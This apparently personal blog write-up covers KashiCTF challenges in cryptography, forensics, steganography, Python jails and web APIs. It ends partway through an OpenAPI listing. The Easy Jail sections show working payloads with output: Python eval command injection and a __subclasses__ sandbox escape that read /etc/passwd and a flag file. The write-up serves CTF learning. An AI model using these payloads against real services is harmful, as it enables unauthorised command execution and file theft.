Kashi CTF
1
Author: Abu
Time to upgrade :/
Now it’s 37.5! Anyways we dropped from 30 to 19 after some incredible drama on discord. Since this CTF has container-based instances, there were dynamic flags, and long-story-short, people got caught red-handed sharing flags, but that was not the case for all of them, some good teams just had that one guy who dropped the shell. The organizing committer could’ve done a better job at managing things before the chaos erupted, but then again it’s the teams fault for cheating so it’s here and there, maybe having a central jury for CTFs that can handle stuff like these with appropriate evidence like logs, screen-shots, and so much more, cause these stuff are happening quite frequently nowadays. Just as things were getting heated, the 30 minute slow-mode comes in. I hope in no way I hurt someone, just want to put this stuff out there. Peace!
Lastly, more on the plugin the organizers used from an anonymous source, puts the nail in the coffin.
1
2
3
4
5
6
7
8
9
i went through the repo
it's flagserver based for team unique
they definitely flag shared
🫠
there is only one flag generated for one challenge for one team and stored,
it curls to the flag server and gets it. There can't be some race condition if it's
not generated only. How will they get the parameters wrong or the curl will change
your request. though the extension isn't perfect. there ain't no way it gives other
teams flags on it. possible they cheated
Cryptography
Lost Frequencies
Zeroes, ones, dots and dashes
Data streams in bright flashes
111 0000 10 111 1000 00 10 01 010 1011 11 111 010 000 0
NOTE: Wrap the capitalized flag in KashiCTF{}
The given binary sequence appears to be Morse code in binary format, converted 0
to .
and 1
to -
.
--- .... -. --- -... .. -. .- .-. -.-- -- --- .-. ... .
it decodes to OHNOBINARYMORSE
Flag: KashiCTF{OHNOBINARYMORSE}
Key Exchange
Someone wants to send you a message. But they want something from you first.
Given: server.py
+ instance
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from redacted import EllipticCurve, FLAG, EXIT
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import hashlib
import random
import json
import os
def encrypt_flag(shared_secret: int):
sha1 = hashlib.sha1()
sha1.update(str(shared_secret).encode("ascii"))
key = sha1.digest()[:16]
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(FLAG, 16))
data = {}
data["iv"] = iv.hex()
data["ciphertext"] = ciphertext.hex()
return json.dumps(data)
#Curve Parameters (NIST P-384)
p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
a = -3
b = 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575
E = EllipticCurve(p,a,b)
G = E.point(26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087,8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871)
n_A = random.randint(2, p-1)
P_A = n_A * G
print(f"\nReceived from Weierstrass:")
print(f" Here are the curve parameters (NIST P-384)")
print(f" {p = }")
print(f" {a = }")
print(f" {b = }")
print(f" And my Public Key: {P_A}")
print(f"\nSend to Weierstrass:")
P_B_x = int(input(" Public Key x-coord: "))
P_B_y = int(input(" Public Key y-coord: "))
try:
P_B = E.point(P_B_x, P_B_y)
except:
EXIT()
S = n_A * P_B
print(f"\nReceived from Weierstrass:")
print(f" Message: {encrypt_flag(S.x)}")
Props to vardar
for solving this!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import json
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
Given shared secret
shared_secret = $shared key from server$
Encrypted data
encrypted_json = '''{
"iv": "f13be6bd83094fa6a6e7c97b0c8bd05d",
"ciphertext": "7be17abaf5e13f1dd7bffa9e8302229cb785507bc84af78acc0faae2a26de3bf45941303b532ea89104b26d4aae28fcbe8a40b3bad2c98afcb5f31445ffb19f847dbf35c16e4db1c5f83341ade3d9e0b1a9cc60c83ad9de8107b4cc534377e57"
}'''
Convert shared secret to string and hash it
secret_key = hashlib.sha1(str(shared_secret).encode()).digest()[:16]
Parse the JSON encrypted data
data = json.loads(encrypted_json)
iv = bytes.fromhex(data["iv"])
ciphertext = bytes.fromhex(data["ciphertext"])
Decrypt data
aes_cipher = AES.new(secret_key, AES.MODE_CBC, iv)
decrypted_data = unpad(aes_cipher.decrypt(ciphertext), AES.block_size)
Print the flag
print("Decrypted Flag:", decrypted_data.decode())
Which gave the output, NaeusGRX{L_r3H3Nv3h_kq_Sun1Vm_O3w_4fg_4lx_1_t0d_a4q_lk1s_X0hcc_Dd4J_BK1Ifjzs}
, then vignere
cipher with key DamnKeys
as given hint to get the flag.
Flag: KashiCTF{I_r3V3Al3d_my_Pub1Ic_K3y_4nd_4ll_1_g0t_w4s_th1s_L0usy_Fl4g_BY1Ivfba}
MMDLX
Although I know only a fraction of their history, but I think Romans have done many weird things in life. But this is a very basic challenge, right?
Given: MMDLX.txt
We see a huge file with potentially base-64? but it doesn’t decode right away. Looking at the challenge title, it corresponds to 2560
in decimal, so why not decode it 2560 times? That was a mistake.
- Apply ROT3 once
- Recursively decode Base64 until
"KashiCTF"
appears in the decoded text.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from base64 import b64decode
def caesar(text, shift):
tab1 = 'abcdefghijklmnopqrstuvwxyz'
tab2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join(
[tab1[(tab1.index(i) + shift) % 26] if i in tab1 else
tab2[(tab2.index(i) + shift) % 26] if i in tab2 else i
for i in text]
).encode()
with open('MMDLX.txt', 'r') as file:
data = file.read()
data = caesar(data, 3)
count = 0
while b'KashiCTF' not in data:
try:
data = b64decode(data)
count += 1
except Exception as e:
print(f"Decoding error after {count} cycles: {e}")
break
print(f"Flag: {data.decode(errors='ignore')}")
print(f"Cycles: {count}")
Output:
1
2
Flag: KashiCTF{w31rd_numb3r5_4nd_c1ph3r5}
Cycles: 40
Forensics
Memories Bring Back
A collection of images, a digital time capsule—preserved in this file. But is every picture really just a picture? A photographer once said, “Every image tells a story, but some stories are meant to stay hidden.” Maybe it’s time to inspect the unseen and find what’s been left behind.
1
2
└─$ file chall
chall: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0x5032578b; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0x7e,254,63), startsector 128, 2041856 sectors
At first I did foremost
and tried mounting it, all was good, and that took we down the rabbit-hole of nothingness, decoding morse file that spit out Ihsan
? and nothing came out of it.
Then opened it up with FTK Imager [Add Evidence Item → Image File → Finish], expanding the root partition, we see four images with ADS
[Alternate Data Streams] embedded within them.
Flag: KashiCTF{DF1R_g03555_Brrrr}
Epic-Fail:
1
2
3
4
5
6
┌──(omni)(abu㉿Abuntu)-[/mnt/c/Main/CyberSec/KashiCTF/forensics/3]
└─$ strings chall | grep KashiCTF
KashiCTF{Fake_Flag}
KashiCTF{Fake_Flag}
KashiCTF{Fake_Flag}
KashiCTF{DF1R_g03555_Brrrr}
Corruption
A corrupt drive I see…
Attachments: image.iso
Just Strings!
1
2
└─$ strings image.iso | grep Kashi
KashiCTF{FSCK_mE_B1T_by_b1t_Byt3_by_byT3}
Tried a bit to solve it with the intended method, no luck.
Restaurant
I just asked for my favorite pasta and they gave me this. Are these guys STUPID? Maybe in the end they may give me something real. (Wrap the text in KashiCTF{}
)
Pretty sure, we all tried the generic strings, binwalk
route which leads no where, patience! [hard to have nowadays]
Checking the extraneous bytes of the image file, we see a suspicious sequence.
1
2
3
4
5
└─$ xxd pasta.jpg | tail -n 4
0000b750: 28bf ffd9 baab aaab bbaa baab abba baba (...............
0000b760: aaab aaba aaaa abaa baaa aaab aaaa aaaa ................
0000b770: baba abab aaba baab abab abba aaab aabb ................
0000b780: abab baba baab abaa aabb aaaa bba0 ..............
Turns out it was Bacon
.
Flag: KashiCTF{THEYWEREREALLLLYCOOKING}
Look at Me
There is something wrong with him.. What can it be??
Spend a while on this, again trying the generic route. Then looking at the image with purpose [can’t be explained with words LOL], I looked this up on Google.
Everything pointed to SilentEye
, I’ve been doing a pretty steady collection of obscure CTF tools but still people come up with newer ones.
You can download SilentEye from the given link [32-bit still works].
SilentEye - Steganography is yours
Flag: KashiCTF{K33p_1t_re4l}
Do Not Redeem #1
Uh oh, we’re in trouble again. Kitler’s Amazon Pay wallet got emptied by some scammer. Can you figure out the OTP sent to kitler right before that happened, as well as the time (unix timestamp in milliseconds) at which kitler received that OTP?
Flag format: KashiCTF{OTP_TIMESTAMP}
, i.e. KashiCTF{XXXXXX_XXXXXXXXXXXXX}
This challenge was bit of cursed with the sharing platform failing every time. Then came GitHub.
At first, when we clone the repository, git was just pulling the checksums of the large tar
files, so we needed to initialize LFS in order to install the files.
After unpacking and all that, we looking for the OTP, so after some research on android forensics and GPT, came across this mmssms.db
SQLite DB.
https://hackers-arise.net/2023/11/30/digital-forensics-part-10-mobile-forensics-android/
1
2
3
4
5
6
7
8
└─$ sqlite3 extracted/data/data/com.android.providers.telephony/databases/mmssms.db "SELECT address, date, body FROM sms ORDER BY date DESC;"
AX-AMZNIN|1740251865569|Order placed with order id: PO3663460903896.
Thank you for choosing Amazon as your shopping destination.
Remaining Amazon Pay balance: INR0.69
57575022|1740251608654|839216 is your Amazon OTP. Don't share it with anyone.
Alternatively, we can solve it quite easily with Aleapp
.
Flag: KashiCTF{839216_1740251608654}
Do Not Redeem #2
Kitler says he didn’t request that OTP, neither did he read or share it. So it must be the scammer at play. Can you figure out the package name of the application that the suspected scammer used to infiltrate Kitler? Wrap your answer within KashiCTF{
and }
.
Flag format: KashiCTF{com.example.pacage.name}
Download kitler's-phone.tar.gz
: Use the same file as in the challenge description of forensics/Do Not Redeem #1
After the agonizingly slow upload to Aleapp
, since we looking for package names, we onto App Icons, and notice that one particular one does not match with the given name, com.google.calender.android
and it is indeed the malicious package.
Flag: KashiCTF{com.google.android.calendar}
Stego Gambit
Do you dare to accept the Stego Gambit? I know you can find the checkmate but the flag!!
So in this challenge, after some thought over the description, it’s pretty clear (at least to me) that we’ll need a check-mate sequence and input it to steghide
and I straight away went over brute forcing the sequence with stegseek
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from itertools import product
first_moves = ["Be4", "Bf3", "Bg2", "Bh1", "be4", "bf3", "bg2", "bh1"]
fixed_moves = ["Kxa2", "Qd2+"]
fixed_moves_variants = [[move, move.lower()] for move in fixed_moves]
passwords = []
for first_move in first_moves:
for variations in product(*fixed_moves_variants):
password = f"{first_move}_{variations[0]}_{variations[1]}"
passwords.append(password)
with open("passwords.txt", "w") as f:
f.write("\n".join(passwords))
So, it’s a pretty simple mate-in-2 sequence. But the twist came in the notation, thankfully someone cleared it was algebraic notation
. [note the check symbol and all that details matter here]
Even then, after some trial and error, we reached this Bh1Kxa2_Qg2#
.
1
2
3
4
5
6
└─$ steghide extract -sf chall.jpg
Enter passphrase: Bh1Kxa2_Qg2#
wrote extracted data to "flag.txt".
└─$ cat flag.txt
KashiCTF{573g0_g4m617_4cc3p73d}
Flag: KashiCTF{573g0_g4m617_4cc3p73d}
Do Not Redeem #3
Too bad, Kitler did get scammed. Kitler met a lot of people recently, and is having a hard time trying to figure out who exactly the scammer could’ve been. Can you figure out the scammer’s username (on the platform they met), and the link through which the scammer sent Kitler the scam app. Answer according to the below flag format:
Flag format: KashiCTF{username_link}
, e.g. KashiCTF{savsch_https://www.youtu.be/dQw4w9WgXcQ}
Now pretty much only 10 teams were able to solve this excluding us, so digging in after the event, the username part rings suspicion on discord.
data/data/com.discord/cache/http-cache
Just a script to organize things in the discord cache based on their file types.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
mkdir -p text images gifs compressed jsons unknown
for file in *; do
if [[ -f "$file" ]]; then
case "$(file --mime-type -b "$file")" in
text/plain)
mv "$file" text/;;
image/webp)
mv "$file" images/;;
image/png)
mv "$file" images/;;
image/gif)
mv "$file" gifs/;;
application/gzip)
mv "$file" compressed/;;
application/json)
mv "$file" jsons/;;
*)
mv "$file" unknown/;;
esac
fi
done
echo "Files sorted successfully!"
Then looking over images, gifs, JSON, and others found nothing interesting, then came the compressed directory, and looking at them after uncompressing them, we see chat logs, Bingo!
After some scripting-fu, we sort things in order and time to read. And looking for links, we hit a suspicious one real quick.
Flag: KashiCTF{savsch_https://we.tl/t-Ku8Le7js}
Miscellaneous
Easy Jail
I made this calculator. I have a feeling that it’s not safe :(
Given: Instance
+ challenge.zip
1
2
3
4
5
6
7
8
9
10
11
def calc(op):
try :
res = eval(op)
except :
return print("Wrong operation")
return print(f"{op} --> {res}")
def main():
while True :
inp = input(">> ")
calc(inp
A very obvious eval()
has been given, and objective is inject commands to read the flag.
1
2
3
4
5
>> __import__('os').system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologi
Payload: **import**('os').system('cat /flag.txt')
Easy Jail 2
I made a completely secure calculator this time.
Given: same as above
Upgraded jail here, just need to bypass the filters in order to inject.
1
2
3
4
5
6
7
8
9
10
11
└─$ nc kashictf.iitbhucybersec.in 59824
_ _ _
| | | | | |
___ __ _| | ___ _ _| | __ _| |_ ___ _ __
/ __/ _` | |/ __| | | | |/ _` | __/ _ \| '__|
| (_| (_| | | (__| |_| | | (_| | || (_) | |
\___\__,_|_|\___|\__,_|_|\__,_|\__\___/|_|
>> print("".__class__.__mro__[1].__subclasses__()[129].__subclasses__()[2].__subclasses__()[0]("/etc/passwd").read())
b'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\
nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:
4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:
This exploit leverages Python’s introspection capabilities to access and read system files, bypassing common security restrictions.
In Python, everything is an object, and objects belong to classes. The ""
(empty string) is an instance of the str
class, which is a subclass of the object
class. The __mro__
(Method Resolution Order) attribute of str
provides a tuple showing the inheritance hierarchy, with object
being at index [1]
.
From object
, we can access all its subclasses using __subclasses__()
, which returns a list of every class that directly inherits from object
. This list contains many internal Python classes, including io.FileIO
, which can be used to read files.
By navigating through these subclasses, the payload locates the io.FileIO
class and instantiates it with "/etc/passwd"
as an argument, which is a common UNIX file storing user account information. Calling .read()
on this instance outputs the file’s contents, revealing juicy details.
Payload: print("".__class__.__mro__[1].__subclasses__()[129].__subclasses__()[2].__subclasses__()[0]("/flag.txt").read())
Game 2 - Wait
We made a game.
Link:
Props to vardar
for solve this challenge!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#kakashi
import pygame
import re
# Initialize Pygame
pygame.init()
# Constants
WIDTH, HEIGHT = 1200, 600
BACKGROUND_COLOR = (0, 0, 0) # Black background
PIXEL_COLOR = (255, 255, 255) # White pixels
PIXEL_SIZE = 5 # Size of each pixel
# Create the Pygame window
screen = pygame.display.set_mode((WIDTH, HEIGHT))
pygame.display.set_caption("Flag Reveal")
# Paste the raw input below as a string
raw_input = """pos = [Vector2(232,128),Vector2(232,80),Vector2(232,96),Vector2(232,112),Vector2(232,144),Vector2(232,160),Vector2(232,176),Vector2(248,112),Vector2(265,103),Vector2(281,87),Vector2(248,128),Vector2(264,144),Vector2(272,160),Vector2(280,176),Vector2(343,120),Vector2(327,128),Vector2(319,144),Vector2(319,160),Vector2(327,176),Vector2(343,176),Vector2(359,176),Vector2(367,160),Vector2(367,144),Vector2(367,128),Vector2(359,120),Vector2(375,168),Vector2(391,176),Vector2(343,120),Vector2(327,128),Vector2(327,176),Vector2(343,176),Vector2(359,176),Vector2(367,160),Vector2(367,144),Vector2(367,128),Vector2(359,120),Vector2(375,168),Vector2(391,176),Vector2(335,376),Vector2(335,360),Vector2(335,344),Vector2(335,328),Vector2(335,312),Vector2(335,296),Vector2(351,328),Vector2(367,320),Vector2(375,304),Vector2(375,376),Vector2(415,376),Vector2(415,360),Vector2(415,344),Vector2(415,328),Vector2(415,312),Vector2(415,296),Vector2(431,312),Vector2(447,304),Vector2(463,296),Vector2(367,360),Vector2(351,344),Vector2(471,104),Vector2(455,104),Vector2(439,104),Vector2(423,112),Vector2(423,128),Vector2(423,144),Vector2(439,144),Vector2(455,144),Vector2(471,144),Vector2(471,160),Vector2(463,177),Vector2(455,177),Vector2(439,177),Vector2(423,177),Vector2(513,89),Vector2(513,121),Vector2(513,137),Vector2(513,153),Vector2(513,169),Vector2(513,177),Vector2(513,105),Vector2(529,145),Vector2(545,145),Vector2(553,153),Vector2(553,169),Vector2(553,177),Vector2(185,291),Vector2(185,323),Vector2(185,339),Vector2(185,355),Vector2(185,371),Vector2(185,379),Vector2(185,307),Vector2(201,347),Vector2(217,347),Vector2(225,355),Vector2(225,371),Vector2(225,379),Vector2(977,291),Vector2(977,323),Vector2(977,339),Vector2(977,355),Vector2(977,371),Vector2(977,379),Vector2(977,307),Vector2(993,347),Vector2(1009,347),Vector2(1017,355),Vector2(1017,371),Vector2(1017,379),Vector2(593,177),Vector2(593,161),Vector2(593,145),Vector2(593,129),Vector2(593,89),Vector2(693,84),Vector2(677,84),Vector2(661,84),Vector2(645,84),Vector2(629,84),Vector2(629,100),Vector2(629,116),Vector2(629,132),Vector2(629,148),Vector2(629,164),Vector2(629,180),Vector2(645,180),Vector2(661,180),Vector2(677,180),Vector2(693,180),Vector2(149,284),Vector2(133,284),Vector2(117,284),Vector2(101,284),Vector2(85,284),Vector2(85,300),Vector2(85,316),Vector2(85,332),Vector2(85,348),Vector2(85,364),Vector2(85,380),Vector2(101,380),Vector2(117,380),Vector2(133,380),Vector2(149,380),Vector2(733,84),Vector2(749,84),Vector2(765,84),Vector2(781,84),Vector2(797,84),Vector2(765,100),Vector2(765,116),Vector2(765,132),Vector2(765,148),Vector2(765,164),Vector2(765,180),Vector2(853,180),Vector2(853,164),Vector2(853,148),Vector2(853,132),Vector2(853,116),Vector2(853,100),Vector2(853,84),Vector2(869,84),Vector2(885,84),Vector2(901,84),Vector2(917,84),Vector2(869,124),Vector2(885,124),Vector2(901,124),Vector2(45,260),Vector2(29,276),Vector2(37,292),Vector2(37,308),Vector2(29,324),Vector2(13,340),Vector2(29,353),Vector2(37,369),Vector2(37,385),Vector2(29,400),Vector2(45,416),Vector2(45,416),Vector2(1062,257),Vector2(1076,270),Vector2(1068,286),Vector2(1068,302),Vector2(1076,318),Vector2(1092,334),Vector2(1077,350),Vector2(1069,366),Vector2(1069,382),Vector2(1077,398),Vector2(1061,414),Vector2(29,276),Vector2(37,292),Vector2(37,308),Vector2(29,324),Vector2(13,340),Vector2(29,353),Vector2(37,369),Vector2(37,385),Vector2(29,400),Vector2(45,416),Vector2(45,416),Vector2(301,336),Vector2(301,352),Vector2(301,368),Vector2(301,376),Vector2(301,320),Vector2(301,304),Vector2(285,344),Vector2(269,344),Vector2(253,344),Vector2(261,336),Vector2(269,320),Vector2(285,304),Vector2(301,288),Vector2(525,336),Vector2(525,352),Vector2(525,368),Vector2(525,376),Vector2(565,376),Vector2(581,376),Vector2(597,376),Vector2(613,376),Vector2(629,376),Vector2(717,376),Vector2(701,360),Vector2(693,344),Vector2(685,328),Vector2(677,312),Vector2(669,296),Vector2(661,280),Vector2(733,362),Vector2(741,346),Vector2(749,330),Vector2(757,314),Vector2(765,298),Vector2(773,282),Vector2(797,322),Vector2(805,338),Vector2(821,354),Vector2(837,346),Vector2(845,330),Vector2(851,318),Vector2(819,366),Vector2(811,382),Vector2(891,318),Vector2(891,334),Vector2(891,350),Vector2(891,366),Vector2(899,382),Vector2(915,382),Vector2(931,382),Vector2(939,374),Vector2(939,358),Vector2(939,342),Vector2(939,326),Vector2(939,318),Vector2(525,320),Vector2(525,304),Vector2(509,344),Vector2(493,344),Vector2(477,344),Vector2(485,336),Vector2(493,320),Vector2(509,304),Vector2(525,288)]"""
# Parse Vector2 data
pos = re.findall(r"Vector2\((\d+),(\d+)\)", raw_input)
positions = [(int(x), int(y)) for x, y in pos]
# Main loop
running = True
while running:
screen.fill(BACKGROUND_COLOR)
# Draw pixels at final positions
for x, y in positions:
pygame.draw.rect(screen, PIXEL_COLOR, (x, y, PIXEL_SIZE, PIXEL_SIZE))
# Update the display
pygame.display.flip()
# Event handling
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
# Quit Pygame
pygame.quit()
SNOWy Evening
A friend of mine , Aakash has gone missing and the only thing we found is this poem…Weirdly, he had a habit of keeping his name as the password.
Given: poemm.txt
Seeing white-spaces in here and also SNOW from the title of the challenge, it’s hinting on stegsnow
.
After some trial and error, we reach a paste-bin link.
1
2
└─$ stegsnow -p Aakash -C poemm.txt
https://pastebin.com/HVQfa14Z
Instantly recognizing this as the COW Esolang
.
Paste the input and hit execute.
Flag: KashiCTF{Love_Hurts_5734b5f}
Self Destruct
Explore the virtual machine and you might just find the flag. Or a surprise. Maybe….
NOTE: The attachment is a VirtualBox image. Do not run it outside VirtualBox. It is recommended to backup the .vdi file before launching the VM.
1
2
3
4
5
6
7
8
9
VM Parameters: (VirtualBox)
Type: Linux
Version: Debian (32 bits)
RAM: 1024MB
Storage: attached .vdi file
Username: kashictf
Password: kashictf
Firstly, let’s look at how to mount a VDI file.
Choose an existing Debian-based VM and open settings in VirtualBox
[would be more or less similar in VMWare
], Under Storage, find the Controller: SATA
and add the VDI file under it.
Fire up your VM and switch to root.
1
2
3
4
5
6
7
8
9
10
11
└──╼ #lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
sda 8:0 0 64G 0 disk
├─sda1 8:1 0 50M 0 part /boot/efi
└─sda2 8:2 0 63.9G 0 part /home
/
sdb 8:16 0 10G 0 disk
├─sdb1 8:17 0 9G 0 part /media/extradrive
├─sdb2 8:18 0 1K 0 part
└─sdb5 8:21 0 975M 0 part
sr0 11:0 1 1024M 0 rom
Understanding the lsblk
output,
sda
(64GB) → Main Parrot OS VM storage.sdb
(10GB) → An additional virtual disk (VDI file).
Now, the next step is optional but useful, checking the type of file system that the partition holds.
1
2
└──╼ #sudo blkid /dev/sdb1
/dev/sdb1: UUID="cd1fe922-f074-47a1-b6f9-d948b2616ab4" BLOCK_SIZE="4096" TYPE="ext4" PARTUUID="98443a49-01
We have an ext4
file system in our hands, all that’s left is to mount it.
1
2
└──╼ $sudo mount /dev/sdb1 /media/extradrive
ls -la /media/extradrive
All that’s left is to search for flags, apparently their split into parts [7]. Time to dive in.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌─[root@parrot]─[/media/extradrive/home/kashictf]
└──╼ #ls -la
total 28
drwx------ 2 user user 4096 Feb 20 14:57 .
drwxr-xr-x 3 root root 4096 Feb 20 12:29 ..
-rw------- 1 user user 41 Feb 20 13:52 .bash_history
-rw-r--r-- 1 user user 220 Feb 20 12:29 .bash_logout
-rw-r--r-- 1 user user 3526 Feb 20 12:29 .bashrc
-rw-r--r-- 1 user user 807 Feb 20 12:29 .profile
-rw-r--r-- 1 user user 41 Feb 20 14:56 .sush_history
┌─[root@parrot]─[/media/extradrive/home/kashictf]
└──╼ #cat .bash_history
ls
echo "fLaG Part 5: 'ht??_No_Er'"
exit
Later on just grepping with fLaG
.
1
2
3
4
5
6
7
└──╼ #grep -r "fLaG"
etc/sudo.conf:# fLaG Part 6: 'r0rs_4ll0w'
etc/hosts.allow:# fLaG Part 1: 'KashiCTF{r'
etc/kernel-img.conf:# Kernel image management overrides fLaG Part 4: 't_Am_1_Rig'
grep: usr/bin/sush: binary file matches
home/kashictf/.bash_history:echo "fLaG Part 5: 'ht??_No_Er'"
home/kashictf/.sush_history:echo "fLaG Part 3: 'eserve_roo'"
In order to find to part 2 and 7, we look at grep the entire directory again and pipe it to xxd
to look at hex dumps as well. [that is if you overlooked the binary file like me HAHA]
1
2
└──╼ #grep -r "fLaG" /media/extradrive/ | xxd -r -p
grep: /media/extradrive/usr/bin/sush: binary file matches
Strings on the binary file, gives us the remaining parts.
1
2
fLaG Part 7: 'ed_Th0}'
fLaG Part 2: 'm_rf_no_pr'
Flag: KashiCTF{rm_rf_no_preserve_root_Am_1_Right??_No_Err0rs_4ll0wed_Th0}
FinalGame?
We searched his room and found chess pieces thrown here and there ..thankfully someone recorded the entire game
https://lichess.org/incUSy5k
Instantly recognizing it was chess-based encryption, from the famous video.
Storing Files in Chess Games for Free Cloud Storage
But no, that wasn’t the way to go, then I completely changed in thinking it’s a tool-based challenge, then went on to analyzing the actual game, [was rated 1900
back then], couple of hours passed by and I had moved on from the challenge, then with nothing else to do, I came back, started looking for other chess tool, then this one came along and saved the day.
1
2
└─$ chess-steg -u "1. b4 g6 2. e3 d5 3. Ne2 b5 4. Rg1 Bb7 5. c3 Qd7 6. Qb3 h6 7. Qd1 Qg4 8. Nf4 Nf6 9. Nh5 Qe4 10. Ng3 Qe5 11. Qf3 Bg7 12. Qh5 Ng4 13. c4 Qd6 14. cxb5 e6 15. Bb2 c6 16. Qxh6 Qd8 17. Bf6 Bxh6 18. Ne4 a6 19. Nec3 Bxe3 20. fxe3 Nf2 21. Rh1 Ne4 22. a4 Rh7 23. bxc6 Nf2 24. Bb5 Nxh1 25. Bh4 g5 26. Be2 Qc7 27. Bd3 Qa5 28. Bc4 Ra7 29. Na2 Qxa4 30. Nbc3 Nf2 31. Nd1 Rh6 32. Nc1 Qxc6 33. Ba2 Ng4 34. d4 Qc3+ 35. Kf1 Rf6+ 36. Kg1 Qc7 0-1"
KashiCTF{Will_This_Be_My_Last_Game_e94fab41}
Reverse Engineering
Game 1 - Untitled Game
We made a game.
Link: driveLink
Even though I love game hacking, sadly this one was just strings too.
1
2
3
└─$ strings Challgame.exe | grep CTF
CTFq
var flag = "KashiCTF{N07_1N_7H3_G4M3}" # Get the footstep audio
Apparently we need to input some password from the computer to get the flag.
Flag: KashiCTF{N07_1N_7H3_G4M3}
Web Exploitation
SuperFastAPI
Made my very first API!
However I have to still integrate it with a frontend so can’t do much at this point lol.
1
2
└─$ curl https://kashictf.iitbhucybersec.in:14808/
{"message":"Welcome to my SuperFastAPI. No frontend tho - visit sometime later :)"}
We’ve been given an OpenAI
API that was a bit janky or maybe it’s just skill-issue. This challenge is an API enumeration and exploitation task, where you need to interact with a FastAPI-based web service to retrieve a flag.
You started by checking common API documentation endpoints:
/docs
(Swagger UI)/redoc
(ReDoc)/openapi.json
(OpenAPI spec)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
{
"openapi": "3.1.0",
"info": {
"title": "SuperFastAPI",
"description": "Mt first API :)",
"version": "1.0.0"
},
"paths": {
"/": {
"get": {
"summary": "Root",
"operationId": "root__get",
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
}
}
}
},
"/get/{username}": {
"get": {
"summary": "Get User",
"operationId": "get_user_get__username__get",
"parameters": [
{
"name": "username",
"in": "path",
"required": true,
"schema": {
"type": "string",
"title": "Username"
}
}
],
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
},
"/create/{username}": {
"post": {
"summary": "Create User",
"operationId": "create_user_create__username__post",
"parameters": [
{
"name": "username",
"in": "path",
"required": true,
"schema": {
"type": "string",
"title": "Username"
}
}
],
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/UserCreate"
}
}
}
},
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
},
"/update/{username}": {
"put": {
"summary": "Update User",
"operationId": "update_user_update__username__put",
"parameters": [
{
"name": "username",
"in": "path",
"required": true,
"schema": {
"type": "string",
"title": "Username"
}
}
],
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"type": "object",
"title": "User Data"
},
"example": {
"fname": "John",
"lname": "Doe",
"email": "john.doe@example.com",
"gender": "male"
}
}
}
},
"responses": {
"200": {
"description": "Successful Response",
"content": {
"application/json": {
"schema": {}
}
}
},
"422": {
"description": "Validation Error",
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/HTTPValidationError"
}
}
}
}
}
}
},
"/flag/{username}": {
"get": {
"summary": "Get Flag",
